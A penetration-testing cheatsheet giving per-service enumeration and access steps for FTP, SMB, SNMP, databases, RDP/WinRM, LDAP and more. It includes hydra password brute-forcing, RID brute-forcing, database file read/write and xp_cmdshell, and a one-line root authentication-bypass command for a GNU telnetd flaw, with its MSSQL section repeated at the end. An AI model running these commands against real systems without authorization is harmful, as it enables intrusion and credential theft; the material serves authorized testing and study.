10.2 Service Opportunity Cheatsheet

Need: A confirmed reachable application; anonymous context or one identified credential. Anonymous login allowed or a valid FTP identity; data-channel connectivity and object-specific read/write rights

Recognize: FTP usually appears on TCP/21, but trust an FTP banner or protocol response on any port. Goal: determine authentication, listable/readable content and effective write locations.

10.2.14.1.2.1 Baseline: anonymous access

ftp TARGET

At the prompts, try user anonymous and an email-like password. Then:

status
pwd
ls -la
binary
get FILE
quit

If login succeeds but listing/transfer fails, use the client's passive command to toggle data-channel mode and retry once before changing credentials.

Decisive output: code 230 accepts the login; directory listings and successful RETR establish read access. Inspect downloaded backups, configuration, keys and source locally. Store target artifacts outside this public repository.

ftp TARGET

hydra -l USER -P /PATH/passwords.txt -t 1 -f -o ftp-found.txt TARGET ftp

hydra -l USER -P /PATH/passwords.txt -t 1 -f -s PORT -o ftp-found.txt TARGET ftp

curl --list-only ftp://TARGET/
curl -o FILE ftp://TARGET/path/FILE
curl --user USER ftp://TARGET/
curl --user USER -o FILE ftp://TARGET/path/FILE
curl --user USER --upload-file ./probe.txt ftp://TARGET/path/probe.txt

nmap -sV -p PORT --script ftp-anon,ftp-syst TARGET

Failure cues: 530 means that login was rejected, not that FTP has no other usable identity. A listing failure after 230 may be a data-channel/passive-mode or authorization problem. A successful upload proves write access only; it does not prove that a web server, scheduled task or privileged process consumes that file.

Next action: inspect recovered files; record exact read/write boundaries; validate any new credential once against its likely service; send a writable-consumer hypothesis to the appropriate web, execution or privilege-escalation block.

Verify: Retrieve recognizable bytes or independently verify an uploaded canary; distinguish listing, read and write rights.

If it fails: Login succeeds but transfers hang: diagnose the data path. A writable upload directory alone does not establish command execution.

Need: A confirmed reachable application; anonymous context or one identified credential. Compatible authentication method, correct user, accepted key policy and the requested shell/subsystem permission

Recognize: SSH commonly uses TCP/22. Prerequisite for access: an accepted authentication method plus a permitted account/session context.

10.2.14.1.4.1 Baseline: validate one known identity

ssh -v -p PORT USER@TARGET

chmod 600 KEY
ssh -v -i KEY -p PORT USER@TARGET

nmap -p PORT --script ssh-auth-methods --script-args "ssh.user=USER" TARGET

ssh -o BatchMode=yes -o ConnectTimeout=5 -i KEY -p PORT USER@TARGET 'id'

Failure cues: timeout suggests route/filtering/service issues; refusal means no accepting listener in that context; host-key failure occurs before user authentication; Permission denied proves that the attempted method/context failed, not that every credential is invalid. A valid account may still have no shell or be restricted by server policy.

Next action: after a shell, verify whoami, groups, hostname and addresses, then re-enumerate locally. Password spraying and key-passphrase cracking belong to the credential-attack block, not this procedure.

Verify: Run hostname and id in the resulting context; retain whether a shell, SFTP or only forwarding was actually granted.

If it fails: Permission denied may be username, key, passphrase, policy or method mismatch. A successful banner exchange proves none of these.

Need: A confirmed reachable application; anonymous context or one identified credential. Reachable SMTP/POP3/IMAP service; enumeration or mailbox access must be enabled for the selected context

Recognize: SMTP commonly uses TCP/25, submission uses 587, and implicit TLS commonly uses 465. Goal: collect banner/capabilities, mail-domain clues and only defensible user evidence.

10.2.14.1.6.1 Baseline: banner and capabilities

nc -nv TARGET PORT

Then enter:

EHLO example.invalid
HELP
VRFY USER
EXPN postmaster
QUIT

openssl s_client -connect TARGET:587 -starttls smtp -crlf -quiet
openssl s_client -connect TARGET:465 -crlf -quiet

smtp-user-enum -M VRFY -U users.txt -t TARGET -p PORT
smtp-user-enum -M RCPT -U users.txt -t TARGET -p PORT

Test-NetConnection -ComputerName TARGET -Port PORT

Failure cues: multiline replies begin with NNN- and finish with NNN ; read the final line. 503 often means the command sequence is wrong. Uniform 252 or 550 responses make enumeration inconclusive. A visible AUTH method does not mean anonymous relay or valid credentials.

Next action: add confirmed/candidate names and domains to the private evidence ledger; test new names only in the later credential block. Do not send real mail or run relay checks unless the objective requires it.

10.2.14.1.6.2 POP3 and IMAP handoff

Mail-access services expose mailbox capabilities and, with legitimate credentials, stored messages that may contain workflow or reset links.

openssl s_client -connect TARGET:995 -crlf -quiet   # POP3S
openssl s_client -connect TARGET:993 -crlf -quiet   # IMAPS

POP3 dialogue:

CAPA
USER USER
PASS PASSWORD
STAT
LIST
QUIT

IMAP dialogue:

a1 CAPABILITY
a2 LOGIN USER PASSWORD
a3 LIST "" "*"
a4 LOGOUT

Verify: Record response/control differences and separate inferred account existence from successful mailbox authentication.

If it fails: Uniform replies, disabled VRFY or a catch-all make username enumeration inconclusive; investigate other identity sources.

Need: A confirmed reachable application; anonymous context or one identified credential. Reachable DNS transport and relevant authoritative zone; AXFR requires an allowed TCP zone transfer

Recognize: DNS uses UDP/53 for most queries and TCP/53 for operations including conventional zone transfers and oversized responses. Prerequisite: a known or inferred domain for meaningful record and name enumeration.

10.2.14.1.8.1 Baseline: query the target DNS server directly

dig @TARGET DOMAIN SOA
dig @TARGET DOMAIN NS
dig @TARGET DOMAIN A
dig @TARGET DOMAIN MX
dig @TARGET DOMAIN TXT

dig @TARGET -x IP
dig @TARGET DOMAIN AXFR

dnsrecon -d DOMAIN -n TARGET -t std
dnsrecon -d DOMAIN -n TARGET -D WORDLIST -t brt
dnsenum --dnsserver TARGET DOMAIN

dnsrecon -r SUBNET -n TARGET

host -t mx DOMAIN TARGET
host -t txt DOMAIN TARGET

nslookup HOST.DOMAIN TARGET
nslookup -type=TXT HOST.DOMAIN TARGET
nslookup -type=MX DOMAIN TARGET

Failure cues: NXDOMAIN means that queried name does not exist in that view; NOERROR with no answer can mean the name exists but lacks that record type. Timeout can be filtering, loss or a silent/unreachable server. A recursive answer does not establish that the server is authoritative.

Next action: add new hostnames/IPs to the scoped queue, correlate naming roles with observed services, and repeat discovery/service identification for those in-scope endpoints.

Verify: Identify responding server, record type, answer and zone authority; transfer refusal disproves only that transfer/context.

If it fails: No answer may mean wrong server, recursion policy, transport or zone. Resolve authoritative context before retrying AXFR.

Need: A confirmed reachable application; anonymous context or one identified credential. Reachable RPC/NFS transports, permitted client address and an export whose UID/GID mapping grants relevant access

Recognize: rpcbind commonly appears on TCP/UDP 111 and NFS on TCP/UDP 2049, with additional dynamically assigned RPC ports. Goal: find exports, allowed client ranges and effective UID/GID-based permissions.

10.2.14.1.10.1 Baseline: list RPC services and exports

rpcinfo -p TARGET
showmount -e TARGET

nmap -sV -p 111,2049 --script nfs-showmount,nfs-ls,nfs-statfs TARGET

sudo mkdir -p /mnt/nfs-audit
sudo mount -t nfs -o ro,vers=3,nolock TARGET:/EXPORT /mnt/nfs-audit
find /mnt/nfs-audit -maxdepth 3 -ls
sudo umount /mnt/nfs-audit

ls -lan /mnt/nfs-audit
find /mnt/nfs-audit -maxdepth 3 -type f -readable -ls

sudo mount -t nfs -o rw,vers=3,nolock TARGET:/EXPORT /mnt/nfs-audit
touch /mnt/nfs-audit/probe-file
ls -ln /mnt/nfs-audit/probe-file
rm /mnt/nfs-audit/probe-file
sudo umount /mnt/nfs-audit

Failure cues: showmount failure does not rule out NFSv4. access denied by server can mean export client restrictions or wrong path/version. permission denied after mounting is file authorization, not network failure. Do not change local UIDs or write to an export during concept study.

Next action: inspect readable backups, home data, keys and configuration; record numeric ownership and actual write boundaries; send a writable/privileged-consumer hypothesis to the escalation block.

10.2.14.1.10.2 Rsync daemon — list modules before copying

Recognize: an rsync daemon normally listens on TCP/873, although the application can use another port. The daemon namespace uses HOST::MODULE or rsync://HOST/MODULE; a single colon is SSH/remote-shell syntax and is a different access path.

nmap -sV -p 873 --script rsync-list-modules TARGET
rsync rsync://TARGET/
rsync --list-only rsync://TARGET/MODULE/

# One selected artifact
rsync -av rsync://TARGET/MODULE/path/FILE ./FILE

# A reviewed module into a dedicated local evidence directory
mkdir -p ./rsync-MODULE
rsync -av --safe-links rsync://TARGET/MODULE/ ./rsync-MODULE/

Failure cues: no listed modules can mean the daemon hides its module list; @ERROR: auth failed is an authentication boundary; @ERROR: Unknown module is a namespace error; a listed module can still deny individual reads or writes.

Next action: inspect selected readable backups, keys, source and configuration locally. Treat a writable module as file placement only until a specific consumer, destination identity and trigger are proven. Do not use --delete against a remote module during enumeration.

10.2.14.1.10.3 TFTP — known-name retrieval only

Recognize: TFTP normally uses UDP/69 for the initial request and has no directory-listing or login model. It is useful only when configuration, source, boot metadata or another service gives a plausible filename.

tftp TARGET
tftp> binary
tftp> get FILE
tftp> quit

printf '%s\n' 'TFTP_WRITE_CANARY' > tftp-probe.txt

tftp TARGET
tftp> binary
tftp> put tftp-probe.txt
tftp> quit

Next action: inspect a retrieved artifact and follow only evidence-backed filenames. A successful upload is not execution; prove the server-side path and consumer separately.

Verify: Verify the export, mapped identity, actual bytes and any created file's server-side ownership.

If it fails: An empty showmount response does not rule out NFSv4. Mount failure may be transport/export/client-policy rather than absence of files.

Need: A confirmed reachable application; anonymous context or one identified credential. Reachable SMB/RPC; anonymous, guest, local or domain context must be explicit; share and filesystem ACLs both matter

Recognize: direct-hosted SMB commonly uses TCP/445; NetBIOS session service commonly uses TCP/139; MS-RPC endpoint mapping commonly uses TCP/135. They are related Windows surfaces but not interchangeable. Goal: distinguish null, guest and authenticated contexts; enumerate shares, files, users, groups, domain/workgroup clues and actual permissions.

10.2.14.1.14.1 Baseline: list shares without credentials

smbclient -N -L //TARGET

smbclient -L //TARGET -U 'DOMAIN/USER'
smbclient //TARGET/SHARE -U 'DOMAIN/USER'
smbclient -L //TARGET -U 'TARGET/USER'
smbclient -L //TARGET -U 'guest%'

pwd
ls
allinfo FILE
get FILE
mkdir probe-dir
rmdir probe-dir
exit

smbclient //TARGET/SHARE -U 'DOMAIN/USER' -c 'recurse ON;prompt OFF;mget *'

rpcclient -U '' -N TARGET
rpcclient -U 'DOMAIN/USER' TARGET

srvinfo
enumdomains
enumdomusers
enumdomgroups
queryuser RID
netshareenumall
quit

nxc smb TARGET -u USER -p PASSWORD --shares
enum4linux-ng -A TARGET

nmap -p 139,445 --script smb-protocols,smb2-security-mode,smb2-time TARGET

net view \\TARGET /all
Get-ChildItem \\TARGET\SHARE
Get-Content \\TARGET\SHARE\FILE

# Known domain account: enumerate share access without creating a probe file
smbmap -H TARGET -d DOMAIN -u USER -p 'PASSWORD' --no-write-check

# Inspect the selected share to a bounded depth
smbmap -H TARGET -d DOMAIN -u USER -p 'PASSWORD' -r 'SHARE' --depth 2 --no-write-check

# Download the specific file found above
smbmap -H TARGET -d DOMAIN -u USER -p 'PASSWORD' --download 'SHARE\PATH\FILE' --no-write-check

# No credentials: anonymous RPC/SMB candidates
enum4linux-ng -A TARGET

# Known identity: domain objects visible to this account
enum4linux-ng -A -w DOMAIN -u USER -p 'PASSWORD' TARGET

Failure cues: distinguish connection failure, authentication failure, share enumeration denial and file authorization denial. A share named IPC$ is not a general file share. Guest acceptance may look like success while returning a restricted namespace. A share marked writable still needs a consumer/trigger before it becomes an execution path.

Next action: inspect readable content, record per-share rights, validate names/domain clues, and re-run authenticated enumeration whenever identity changes. Move file-consumer hypotheses to web/execution/escalation and signing/relay hypotheses to the later credential/AD blocks.

10.2.14.1.14.2 NetBIOS names before SMB enumeration

Use when UDP/137 or SMB suggests Windows names but DNS/domain identity is unclear.

# Ask the assigned host for its NetBIOS names
nbtscan TARGET
nmblookup -A TARGET

Read: a machine name and group/domain label are leads. A workgroup label does not prove AD membership. Resolve the returned name and use the SMB/LDAP checks with the accepted identity. No reply can mean filtering or disabled NetBIOS while TCP/445 still works.

Sources: upstream 1.

10.2.14.1.14.3 SMB/RPC RID lookups when a normal user listing is denied

Use when the accepted identity can translate SIDs but cannot list the directory directly. Keep the queried host/domain and a bounded RID range explicit.

nxc smb TARGET -d DOMAIN -u USER -p 'PASSWORD' --rid-brute 4000

Read: classify returned SID types—users, groups and machine accounts are different objects. The upper bound is coverage, not proof that higher RIDs contain nothing. A resolved name is not a password, service authorization or successful logon. Prefer the existing native directory/RPC listing when it is available; do not infer no accounts from a single denied enumeration method.

Sources: upstream 1.

Verify: Prove the specific share/object action; a successful login or administrative indicator does not establish every remote-execution route.

If it fails: Access denied after login usually means authorization/context. Test local/domain qualification and the exact object rather than repeating passwords.

Need: A confirmed reachable application; anonymous context or one identified credential. An accepted read community or SNMPv3 identity/security level; transport and view permissions

Recognize: SNMP queries commonly use UDP/161. Versions 1 and 2c authenticate with a community string sent without modern transport protection; version 3 can provide user-based authentication and privacy. Goal: turn a valid read context into host, interface, route, process, software, user and listener clues.

10.2.14.1.16.1 Baseline: find a read community, then walk

onesixtyone -c COMMUNITY_FILE TARGET
snmpwalk -v2c -c COMMUNITY TARGET 1.3.6.1.2.1

Use -v1 instead when version 1 is indicated. Start with the standard system tree before a huge full walk.

Decisive output: returned OID/value pairs prove that the selected version/community can read those objects. Hostnames, interfaces, routes, users, processes and locally listening ports become new hypotheses to validate through the appropriate service or post-access path.

snmpbulkwalk -v2c -c COMMUNITY TARGET 1.3.6.1.2.1

snmpwalk -v1 -c COMMUNITY TARGET 1.3.6.1.4.1.77.1.2.25
snmpwalk -v1 -c COMMUNITY TARGET 1.3.6.1.2.1.25.4.2.1.2
snmpwalk -v1 -c COMMUNITY TARGET 1.3.6.1.2.1.25.6.3.1.2
snmpwalk -v1 -c COMMUNITY TARGET 1.3.6.1.2.1.6.13.1.3

snmpwalk -v3 -l authPriv -u USER -a SHA -A AUTH_PASSWORD -x AES -X PRIV_PASSWORD TARGET 1.3.6.1.2.1

sudo nmap -sU -sV -p 161 --script snmp-info TARGET

Failure cues: UDP silence can remain open|filtered; it does not prove that the community is wrong. Timeout: No Response can be version mismatch, wrong community, filtering, loss or an unavailable OID view. No Such Object means the queried OID is absent/not exposed, not that the whole service failed. Do not use a discovered write community to change configuration during enumeration.

Next action: translate output into exact host/service/user hypotheses, scan newly disclosed in-scope addresses/listeners from the proper source position, and keep configuration-changing SNMP actions outside this stage.

Verify: Preserve the OID, accepted security context and returned value; empty branches can reflect view restrictions.

If it fails: Silence can mean UDP filtering, wrong community/version or denied view; change only the condition supported by evidence.

Need: A confirmed reachable application; anonymous context or one identified credential. Database authentication and exact schema/file privileges; secure_file_priv and server filesystem identity constrain file actions

mysql -h TARGET -P PORT -u USER -p

SELECT VERSION(), USER(), CURRENT_USER();
SHOW DATABASES;
SHOW GRANTS;
USE DATABASE;
SHOW TABLES;
DESCRIBE TABLE;
SELECT * FROM TABLE LIMIT 20;
SELECT @@secure_file_priv;

SELECT LOAD_FILE('/path/on/database/server');
SELECT 'probe' INTO OUTFILE '/allowed/server/path/probe.txt';

Verify: Check current database identity, grants and actual returned data or written file through an independent observation.

If it fails: Permission denied or a restricted file directory changes the available primitive; pivot to data/credential use or a different entry point.

Need: A confirmed reachable application; anonymous context or one identified credential. Correct SQL versus Windows authentication; database role and configuration must permit the requested operation

impacket-mssqlclient 'USER@TARGET'
impacket-mssqlclient 'DOMAIN/USER@TARGET' -windows-auth

Let the tool prompt for the password. At the SQL prompt:

SELECT @@VERSION;
SELECT SYSTEM_USER;
SELECT IS_SRVROLEMEMBER('sysadmin');
SELECT name FROM sys.databases;
USE DATABASE;
SELECT TABLE_SCHEMA, TABLE_NAME FROM INFORMATION_SCHEMA.TABLES;
SELECT TOP 20 * FROM SCHEMA.TABLE;

EXEC xp_cmdshell 'whoami';

10.2.14.1.22.1 MSSQL linked-server and login-context mapping

Treat a linked server as another authentication and authorization boundary. The local SQL login, its mapped remote login, remote SQL role and RPC/data-access settings can all differ.

SELECT SYSTEM_USER AS current_login,
       ORIGINAL_LOGIN() AS original_login,
       SUSER_SNAME() AS effective_login,
       IS_SRVROLEMEMBER('sysadmin') AS is_sysadmin;

SELECT name, product, provider, data_source, is_linked
FROM sys.servers
WHERE is_linked = 1;

EXEC master.dbo.sp_helplinkedsrvlogin;

After selecting one named link, test the smallest remote query supported by its configuration:

EXEC ('SELECT SYSTEM_USER AS remote_login,
              ORIGINAL_LOGIN() AS remote_original_login,
              IS_SRVROLEMEMBER(''sysadmin'') AS remote_is_sysadmin')
AT [LINKED_SERVER];

If RPC execution is disabled but data access is allowed, use a read-only pass-through query instead:

SELECT *
FROM OPENQUERY([LINKED_SERVER],
  'SELECT SYSTEM_USER AS remote_login,
          ORIGINAL_LOGIN() AS remote_original_login');

EXECUTE AS LOGIN = 'LOGIN';
SELECT SYSTEM_USER, ORIGINAL_LOGIN(), SUSER_SNAME(), IS_SRVROLEMEMBER('sysadmin');
REVERT;

Do not enable RPC, create mappings or change server configuration merely to enumerate. A remote SQL query is not OS execution; independently validate any file or command facility and the operating-system identity behind it.

Sources: Microsoft sys.servers, sp_helplinkedsrvlogin, EXECUTE AS, and OPENQUERY.

Verify: Verify SQL identity and any OS effect with hostname/whoami; record service/proxy execution identity.

If it fails: Login success with denied configuration changes is a rights boundary. Do not repeatedly enable an unavailable facility.

Need: A confirmed reachable application; anonymous context or one identified credential. Accepted connection/database role; COPY PROGRAM needs the corresponding server privilege and an executable OS context

psql -h TARGET -p PORT -U USER -d postgres

\conninfo
\l
\du
\dn
\dt *.*

SELECT version(), current_user, session_user;
SELECT rolname, rolsuper, rolcreaterole, rolcreatedb
FROM pg_roles;

SELECT pg_has_role(current_user, 'pg_read_server_files', 'member');
SELECT pg_has_role(current_user, 'pg_write_server_files', 'member');
SELECT pg_has_role(current_user, 'pg_execute_server_program', 'member');

Failure cues: connection refusal/timeout is network or listener context; login rejection is authentication/context; an empty database list may be visibility limits; object denial is authorization. Query only bounded rows first. Never assume that reading application credentials or obtaining database admin implies OS execution.

Next action: identify application accounts, hashes/credentials, paths and linked systems; record the precise grant enabling any file or execution primitive; validate recovered credentials in the later credential block and re-enumerate after any identity change.

Verify: Separate returned rows, file operations and command execution; prove the actual operating-system identity for the latter.

If it fails: Role or OS permission failures require another allowed primitive, not a different spelling of the same denied operation.

Need: A confirmed reachable application; anonymous context or one identified credential. Reachability and accepted authentication/ACL commands; persistence writes need CONFIG rights, destination permissions and a consumer

nmap -Pn -sV --script redis-info -p PORT TARGET
redis-cli -h TARGET -p PORT PING
redis-cli -h TARGET -p PORT INFO
redis-cli -h TARGET -p PORT ACL WHOAMI
redis-cli -h TARGET -p PORT ACL LIST

Authenticated when a password is legitimately known:

redis-cli -h TARGET -p PORT --askpass

Verify: Verify authentication context, allowed commands and actual key/file effects without assuming old Redis exploit defaults.

If it fails: NOAUTH and NOPERM identify different boundaries. Investigate credentials or permitted data rather than assuming unauthenticated execution.

Need: A confirmed reachable application; anonymous context or one identified credential. Correct service/SID, reachable database transport and valid database credentials for authenticated work

nmap -Pn -sV --script oracle-tns-version -p 1521 TARGET
nmap -Pn --script oracle-sid-brute -p 1521 TARGET

Verify: Distinguish listener identification, database login and a permitted SQL action.

If it fails: An invalid service descriptor is different from an invalid password; resolve it before further credential decisions.

Need: A confirmed reachable application; anonymous context or one identified credential. Enabled destination service, matching authentication and protocol-specific logon/session rights

Recognize: RDP commonly uses TCP/3389; WinRM commonly uses 5985/HTTP and 5986/HTTPS. Goal: determine whether one known credential is accepted in the correct local/domain context and whether it is authorized for a usable session.

10.2.14.1.31.1 RDP baseline: authentication-only check

xfreerdp3 /v:TARGET /u:USER /d:DOMAIN /auth-only /cert:ignore

Some distributions expose the binary as xfreerdp. Omit /d:DOMAIN for the intended local-account context; use /u:TARGET\\USER if needed to make that context explicit.

Decisive output: successful authentication-only validation supports that the credential is accepted for RDP/NLA. It does not prove an interactive desktop will be granted under every policy/session condition.

xfreerdp3 /v:TARGET /u:USER /d:DOMAIN /dynamic-resolution /cert:ignore

nmap -p 3389 --script rdp-enum-encryption,rdp-ntlm-info TARGET

10.2.14.1.31.2 RDP host-side inspection: local administrative context

Use this read-only sequence after obtaining an authorized local administrative session on the destination, or when the exercise explicitly supplies equivalent remote-management access. It answers four different questions: is RDP enabled, is a listener actually present, what security layer/NLA policy applies, and does the candidate identity have an effective remote-interactive logon right? Do not change registry values or policy merely to make a credential work.

10.2.14.1.31.3 Listener, service and configured port

Get-Service TermService
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber
qwinsta

netstat -ano | findstr LISTENING | findstr ":3389"

10.2.14.1.31.4 NLA, transport security and policy precedence

reg query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v SecurityLayer
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v MinEncryptionLevel

reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fDenyTSConnections
reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v UserAuthentication
reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v SecurityLayer

gpresult /scope computer /v

10.2.14.1.31.5 Candidate membership and effective logon rights

net localgroup "Remote Desktop Users"
whoami /groups

From an elevated PowerShell or Command Prompt, export the currently applied user-right assignments and inspect only the RDP entries:

$policy = Join-Path $env:TEMP 'rdp-user-rights.inf'
secedit /export /mergedpolicy /areas user_rights /cfg $policy /quiet
Select-String -Path $policy -Pattern '^SeRemoteInteractiveLogonRight','^SeDenyRemoteInteractiveLogonRight'

10.2.14.1.31.6 Source-relative validation and decision

nmap -Pn -n -p 3389 --reason TARGET
xfreerdp3 /v:TARGET /u:USER /d:DOMAIN /auth-only /cert:ignore

Security baseline: on a normally secured host, RDP may be disabled when not needed; when enabled, NLA is normally retained, access is limited to intended administrative/remote-user principals, deny assignments override broad membership, and the firewall limits exposure. The state machine records deviations and capabilities; it does not recommend weakening these controls.

10.2.14.1.31.7 WinRM baseline: interactive session

evil-winrm -i TARGET -u USER

evil-winrm -i TARGET -u 'DOMAIN\\USER'

Omitting -p makes the established Ruby client prompt for the password.

Decisive output: an interactive PowerShell prompt establishes WinRM authorization. Immediately verify identity and host context with whoami, hostname and Get-NetIPAddress.

evil-winrm -i TARGET -u USER -S -P 5986

$cred = Get-Credential
Enter-PSSession -ComputerName TARGET -Credential $cred

Failure cues: certificate warnings are different from authentication failure. RDP errors can reflect NLA, account context, expired/locked accounts or missing logon rights. WinRM 401 supports authentication/authorization failure; WinRM cannot process the request can be name resolution, trusted-host, listener or transport context. Valid SMB credentials do not guarantee RDP or WinRM rights.

Next action: after a session, re-enumerate identity, groups, privileges, files, local services/listeners and routes. Password spraying, pass-the-hash and ticket use belong to later credential/AD blocks.

Host-inspection sources: Microsoft RDP troubleshooting · Microsoft secedit /export · Microsoft account-right constants · Microsoft qwinsta · Microsoft Remote Desktop Services policy

10.2.14.1.31.8 Validate access to an exposed VNC desktop VNC

nmap -Pn -sV --script vnc-info -p PORT TARGET
vncviewer TARGET:PORT

10.2.14.1.31.9 Identify the Telnet service and validate available access Telnet

nmap -Pn -sV -p PORT TARGET
nc -nv TARGET PORT
telnet TARGET PORT

10.2.14.1.31.10 GNU Inetutils telnetd — conditional authentication-bypass check

Use only after identifying the affected GNU Inetutils telnetd/login chain and its patch status. CVE-2026-24061 concerns how a supplied USER value reaches login; it does not apply to every Telnet server. Distribution backports matter.

# Client supports sending the autologin USER environment value
USER='-f root' telnet -a TARGET PORT

Read: if a shell is obtained, verify hostname and id. A prompt or echoed username is not root access. A different daemon, fixed build, client negotiation mismatch or a rejected USER value → return to service identification. The affected upstream range and distribution fixes must be checked against the advisory rather than inferred from port 23.

Sources: upstream 1.

Verify: Verify destination hostname, represented identity and usable effect in the resulting session.

If it fails: A valid password is not proof of RDP/WinRM rights. Diagnose TLS, transport, account qualification and logon policy separately.

Need: A confirmed reachable application; anonymous context or one identified credential. Reachable directory; anonymous query permission or valid bind identity; required signing/TLS and naming context

Recognition: LDAP commonly appears on TCP/389 or TCP/636; Global Catalog on TCP/3268 or 3269; Kerberos on TCP/UDP 88. Applications may listen elsewhere, so follow protocol evidence rather than port labels.

10.2.14.1.33.1 Baseline: discover naming contexts

Prerequisite: LDAP reachability. Coverage: RootDSE only; this can work even when directory searches require authentication. Decisive output: defaultNamingContext and dnsHostName.

ldapsearch -x -LLL -H ldap://TARGET:389 -s base -b '' \
  defaultNamingContext rootDomainNamingContext configurationNamingContext dnsHostName

Convert DC=corp,DC=example into corp.example for DNS/Kerberos work. Preserve the server's exact hostname because Kerberos is name-sensitive.

openssl s_client -connect TARGET:636 -servername DC_HOST </dev/null
ldapsearch -x -LLL -H ldaps://DC_HOST:636 -s base -b '' defaultNamingContext dnsHostName

10.2.14.1.33.2 Check which directory objects are readable without credentials Anonymous directory search

Prerequisite: known base DN and server permitting anonymous search. Failure cue: Inappropriate authentication or Insufficient access closes only the anonymous path.

ldapsearch -x -LLL -H ldap://DC_IP:389 -b 'DC=DOMAIN,DC=TLD' \
  '(&(objectCategory=person)(objectClass=user))' \
  sAMAccountName userPrincipalName memberOf description

ldapsearch -x -LLL -H ldap://DC_IP:389 -b 'DC=DOMAIN,DC=TLD' \
  '(objectClass=group)' cn member description

10.2.14.1.33.3 Query directory objects with your accepted identity Authenticated search

Prerequisite: a valid directory identity. Decisive output: objects/attributes unavailable anonymously. Avoid placing a real password in shell history when an interactive prompt is available.

ldapsearch -x -LLL -H ldap://DC_HOST:389 \
  -D 'USER@DOMAIN.TLD' -W -b 'DC=DOMAIN,DC=TLD' \
  '(&(objectCategory=person)(objectClass=user))' \
  sAMAccountName userPrincipalName memberOf description servicePrincipalName userAccountControl

ldapsearch -x -LLL -H ldap://DC_HOST:389 -D 'USER@DOMAIN.TLD' -W \
  -b 'DC=DOMAIN,DC=TLD' '(objectClass=computer)' \
  dNSHostName operatingSystem operatingSystemVersion servicePrincipalName

ldapsearch -x -LLL -H ldap://DC_HOST:389 -D 'USER@DOMAIN.TLD' -W \
  -b 'DC=DOMAIN,DC=TLD' '(objectClass=group)' cn member

ldapsearch -x -LLL -H ldap://DC_HOST:389 -D 'USER@DOMAIN.TLD' -W \
  -b 'DC=DOMAIN,DC=TLD' '(&(objectCategory=person)(servicePrincipalName=*))' \
  sAMAccountName servicePrincipalName memberOf

10.2.14.1.33.4 Kerberos prerequisites before an attack

Kerberos failures are often name/time/route failures rather than credential failures. Establish:

getent hosts DC_HOST
nc -nvz DC_IP 88
date -u
nmap -Pn -sV -p 88,389,445,464,636,3268,3269 DC_IP -oN dc-services.txt

10.2.14.1.33.5 Continue with the capability your result enables Handoff

• New users, groups, computers, SPNs or domain names → domain mapping.
• A user confirmed without preauthentication → Kerberos and identity transitions.
• Valid credentials → rerun authenticated LDAP plus SMB/share/remote-access enumeration.
• Certificate templates/AD CS clues → AD CS and object-control abuse.

Verify: Record DC, base DN, bind identity and actual returned attributes; RootDSE alone is not a complete directory dump.

If it fails: Stronger-auth-required may mean TLS/signing policy; invalid credentials or an empty base require different fixes.

Need: A confirmed reachable application; anonymous context or one identified credential. Application-specific request format; permitted registration/channel/configuration access

These source-site topics contain only first-pass reconnaissance. Treat them as application-identification branches, not default exploitation paths.

10.2.14.1.35.1 Find SIP identity and configuration clues SIP

Commonly UDP/TCP 5060 or TLS 5061; follow protocol evidence.

nmap -Pn -sU -sV --script sip-methods -p 5060 TARGET
nmap -Pn -sT -sV --script sip-methods -p 5060 TARGET

10.2.14.1.35.2 Find IRC identity and configuration clues IRC

nmap -Pn -sV --script irc-info -p PORT TARGET
nc -nv TARGET PORT

Minimal registration for an authorized test client:

NICK testnick
USER testuser 0 * :Test User
QUIT

Verify: Retain protocol responses and distinguish product clues from confirmed vulnerabilities.

If it fails: A generic banner or denied registration leaves access unproven; return to version/configuration matching.

Treat a linked server as another authentication and authorization boundary. The local SQL login, its mapped remote login, remote SQL role and RPC/data-access settings can all differ.

SELECT SYSTEM_USER AS current_login,
       ORIGINAL_LOGIN() AS original_login,
       SUSER_SNAME() AS effective_login,
       IS_SRVROLEMEMBER('sysadmin') AS is_sysadmin;

SELECT name, product, provider, data_source, is_linked
FROM sys.servers
WHERE is_linked = 1;

EXEC master.dbo.sp_helplinkedsrvlogin;

After selecting one named link, test the smallest remote query supported by its configuration:

EXEC ('SELECT SYSTEM_USER AS remote_login,
              ORIGINAL_LOGIN() AS remote_original_login,
              IS_SRVROLEMEMBER(''sysadmin'') AS remote_is_sysadmin')
AT [LINKED_SERVER];

If RPC execution is disabled but data access is allowed, use a read-only pass-through query instead:

SELECT *
FROM OPENQUERY([LINKED_SERVER],
  'SELECT SYSTEM_USER AS remote_login,
          ORIGINAL_LOGIN() AS remote_original_login');

EXECUTE AS LOGIN = 'LOGIN';
SELECT SYSTEM_USER, ORIGINAL_LOGIN(), SUSER_SNAME(), IS_SRVROLEMEMBER('sysadmin');
REVERT;

Do not enable RPC, create mappings or change server configuration merely to enumerate. A remote SQL query is not OS execution; independently validate any file or command facility and the operating-system identity behind it.

Sources: Microsoft sys.servers, sp_helplinkedsrvlogin, EXECUTE AS, and OPENQUERY.